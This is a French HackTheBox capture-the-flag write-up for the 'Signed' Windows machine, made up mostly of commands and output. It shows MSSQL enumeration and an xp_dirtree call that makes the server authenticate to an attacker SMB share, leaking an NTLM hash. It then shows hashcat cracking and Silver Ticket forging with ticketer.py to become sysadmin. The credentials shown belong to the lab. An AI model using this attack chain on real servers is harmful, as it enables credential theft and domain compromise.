0xbbuddha
Retour aux writeups
HackTheBox·Medium·Windows

Signed

Comme souvent en pentest Windows réel, on démarre avec des identifiants pour le compte scott / Sm230#C5NatH, utilisables sur le service MSSQL.

1. Reconnaissance

Un scan Nmap montre un seul port ouvert : 1433 (Microsoft SQL Server 2022). Le certificat SSL est auto-signé. On récupère aussi des infos NTLM (domaine SIGNED.HTB, DC01).

Commande

nmap -Pn -sC -sV 10.10.11.90 -T5

Résultat

Nmap scan report for signed.htb (10.10.11.90)
PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info:
|   10.10.11.90:1433:
|     Version: Microsoft SQL Server 2022 RTM (16.00.1000.00)
| ms-sql-ntlm-info:
|   Target_Name: SIGNED
|   NetBIOS_Domain_Name: SIGNED
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: SIGNED.HTB
|   DNS_Computer_Name: DC01.SIGNED.HTB

2. Accès MSSQL (compte scott)

On valide les identifiants avec NetExec (nxc) en auth locale, puis on énumère les RID du domaine pour lister les utilisateurs et groupes.

Commande

nxc mssql 10.10.11.90 -u scott -p 'Sm230#C5NatH' --local-auth

Résultat

MSSQL  10.10.11.90  1433  DC01  [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL  10.10.11.90  1433  DC01  [+] DC01\scott:Sm230#C5NatH

Commande (énumération RID)

nxc mssql 10.10.11.90 -u scott -p 'Sm230#C5NatH' --local-auth --rid-brute

Résultat

MSSQL  10.10.11.90  1433  DC01  [+] DC01\scott:Sm230#C5NatH
512: SIGNED\Domain Admins    513: SIGNED\Domain Users
515: SIGNED\Domain Computers 516: SIGNED\Domain Controllers
1103: SIGNED\mssqlsvc         1104: SIGNED\HR
1105: SIGNED\IT               1106: SIGNED\Finance
1107: SIGNED\Developers       1108: SIGNED\Support
1109: SIGNED\oliver.mills     1110: SIGNED\emma.clark
... (autres utilisateurs)

Commande (serveurs liés)

nxc mssql 10.10.11.90 -u scott -p 'Sm230#C5NatH' --local-auth -q "EXEC sp_linkedservers"

Résultat

SRV_NAME: DC01
SRV_PROVIDERNAME: SQLNCLI
SRV_PRODUCT: SQL Server
SRV_DATASOURCE: DC01

Serveur lié DC01. Connexion en interactif avec Impacket :

Connexion MSSQL (Impacket mssqlclient.py)

mssqlclient.py 'signed.htb/scott:Sm230#C5NatH@10.10.11.90'

3. Capture NTLM (xp_dirtree)

Depuis la session MSSQL, on force le serveur à se connecter à notre partage SMB via xp_dirtree (ou xp_fileexist). Le service MSSQL s’exécute sous le compte SIGNED\mssqlsvc : on récupère donc son hash Net-NTLMv2. Sur notre machine, on lance un listener (ex. responder ou ntlmrelayx) sur un partage (ex. 10.10.17.228).

Depuis mssqlclient (remplacer par ton IP)

xp_dirtree \\10.10.17.228\share

Résultat (Responder / listener SMB)

[SMB] NTLMv2-SSP Client   : 10.10.11.90
[SMB] NTLMv2-SSP Username : SIGNED\mssqlsvc
[SMB] NTLMv2-SSP Hash     : mssqlsvc::SIGNED:87c79215452c07cf:A72260EA605DF5FD0F37EB8D03C62E4D:0101000000000000...

Sauvegarder le hash dans hash.txt pour hashcat -m 5600.

4. Crack du hash (hashcat)

Mode 5600 = Net-NTLMv2. Une fois cracké, on se connecte en domaine avec SIGNED\mssqlsvc.

Commande

hashcat -m 5600 hash.txt ~/Downloads/rockyou.txt

Résultat

Status...........: Cracked
Hash.Target......: mssqlsvc::SIGNED:87c79215452c07cf:...
Recovered........: 1/1 (100.00%)
Guess.Base.......: File (rockyou.txt)
purPLE9795!@

Vérification des identifiants mssqlsvc

nxc mssql 10.10.11.90 -u mssqlsvc -p 'purPLE9795!@'

Résultat

MSSQL  10.10.11.90  1433  DC01  [+] SIGNED.HTB\mssqlsvc:purPLE9795!@

Connexion MSSQL avec mssqlsvc (Windows auth)

mssqlclient.py mssqlsvc:'purPLE9795!@'@10.10.11.90 -windows-auth

5. Élévation de privilèges – Silver Ticket

Avec mssqlsvc on n’est pas sysadmin ; le groupe SIGNED\IT l’est. On forge un Silver Ticket pour le SPN MSSQLSvc/DC01.SIGNED.HTB en s’octroyant les droits IT, avec le NTLM hash du compte mssqlsvc.

Commande

SELECT name FROM master.sys.server_principals WHERE IS_SRVROLEMEMBER('sysadmin', name) = 1;

Résultat

name
-------------------------
sa
SIGNED\IT
NT SERVICE\SQLWriter
NT SERVICE\Winmgmt
NT SERVICE\MSSQLSERVER
NT SERVICE\SQLSERVERAGENT

Commande

SELECT IS_SRVROLEMEMBER('sysadmin');

Résultat

----
0

On récupère le NTLM hash (MD4 du mot de passe en UTF-16LE), le SID domaine via SUSER_SID, et les RID (IT = 1105, mssqlsvc = 1103).

Commande

echo -n 'purPLE9795!@' | iconv -f UTF-8 -t UTF-16LE | openssl md4 -provider legacy

Résultat

MD4(stdin)= ef699384c3285c54128a3ee1ddb1a0cc

Commande (dans MSSQL)

SELECT SUSER_SID('SIGNED\IT');

Résultat

------------------------------------------------------------
0x0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000

SID domaine : S-1-5-21-4088429403-1159899800-2753317549. On forge le ticket avec ticketer.py (Impacket).

Variables (à adapter selon ta cible)

DOMSID=S-1-5-21-4088429403-1159899800-2753317549
IT_RID=1105
MSSQLSVC_RID=1103
nthash=ef699384c3285c54128a3ee1ddb1a0cc

Commande

ticketer.py -nthash $nthash -domain-sid $DOMSID -domain SIGNED.HTB -spn MSSQLSvc/DC01.SIGNED.HTB -groups 512,$IT_RID -user-id $MSSQLSVC_RID mssqlsvc

Résultat

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for SIGNED.HTB/mssqlsvc
[*] Signing/Encrypting final ticket
[*] Saving ticket in mssqlsvc.ccache

Commande

export KRB5CCNAME="$(pwd)/mssqlsvc.ccache"
mssqlclient.py -k 'signed.htb/mssqlsvc@dc01.signed.htb' -windows-auth -no-pass

Résultat

[*] Encryption required, switching to TLS
[*] INFO(DC01): Changed database context to 'master'.
SQL (SIGNED\mssqlsvc  dbo@master)>

Commande

select is_srvrolemember('sysadmin');

Résultat

----
1

On est sysadmin : lecture des flags via OPENROWSET(BULK ...).

6. Flags user.txt et root.txt

Commande

SELECT * FROM OPENROWSET(BULK N'C:\\Users\\mssqlsvc\\Desktop\\user.txt', SINGLE_CLOB) AS t;

Résultat

••••••••••••••••••••••••••••••••Cliquer pour afficher

Commande

SELECT * FROM OPENROWSET(BULK N'C:\\Users\\administrator\\Desktop\\root.txt', SINGLE_CLOB) AS t;

Résultat

••••••••••••••••••••••••••••••••Cliquer pour afficher

Récap

  • Recon : MSSQL 1433, domaine SIGNED.HTB
  • Accès initial : scott / Sm230#C5NatH sur MSSQL
  • Capture NTLM : xp_dirtree vers notre SMB → hash mssqlsvc
  • Crack : hashcat -m 5600 → purPLE9795!@
  • Privesc : Silver Ticket (nthash mssqlsvc + SPN MSSQLSvc, groupe IT) → sysadmin MSSQL
  • Flags : OPENROWSET(BULK) pour user.txt et root.txt